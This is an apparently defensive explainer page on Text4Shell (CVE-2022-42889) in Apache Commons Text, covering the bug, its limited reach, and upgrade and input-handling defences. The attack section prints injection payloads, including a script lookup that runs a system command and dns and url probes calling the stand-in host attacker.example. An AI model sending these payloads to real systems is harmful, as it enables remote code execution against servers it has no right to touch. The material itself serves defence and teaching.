

What is Text4Shell?

Text4Shell is the name for CVE-2022-42889, a remote code execution flaw in Apache Commons Text 1.5 to 1.9 disclosed in October 2022 with a CVSS score of 9.8. The library's StringSubstitutor enabled script, dns and url lookups by default, so untrusted input passed to interpolation could run code, for example with `${script:javascript:...}`. Unlike Log4Shell, it only triggered when an app passed attacker input into StringSubstitutor interpolation, which few apps did. Fixed in Commons Text 1.10.0.

HOW IT WORKS

01 How the attack works

Shown for defensive context, a payload looks like this when it reaches a vulnerable interpolation call:

- `${script:javascript:java.lang.Runtime.getRuntime().exec("id")}` runs a command through the JavaScript engine on Java versions that still ship one (Nashorn was removed in Java 15).
- `${dns:address|attacker.example}` and `${url:UTF-8:http://attacker.example/}` are quieter probes that confirm the lookup fires.

The catch for attackers was reachability. Log4j logs almost everything, so Log4Shell fired almost anywhere. Commons Text only evaluates what developers explicitly pass to `StringSubstitutor.createInterpolator().replace()` or similar, so exploitable paths were rare. Teams still had to check, because a single vulnerable call site is a full compromise.

HOW TO DEFEND

- Upgrade Apache Commons Text to 1.10.0 or later, which disables the script, dns and url lookups by default.
- Never interpolate untrusted input. Treat user data as values to insert, not templates to evaluate, the same rule that prevents template injection.
- Check transitive dependencies with your build tool's dependency tree, since Commons Text often arrives indirectly.
- Remove script engines you do not need from the runtime image to reduce the blast radius of any expression-evaluation bug.

SOURCES

- [1] Apache Commons Text security reports
- [2] NVD: CVE-2022-42889
- [3] MITRE CWE-917: Expression Language Injection

Find the path to a shell before an attacker does.

securelayer7.net/learn/web-exploitation/what-is-text4shell

[Open online](https://securelayer7.net/learn/web-exploitation/what-is-text4shell)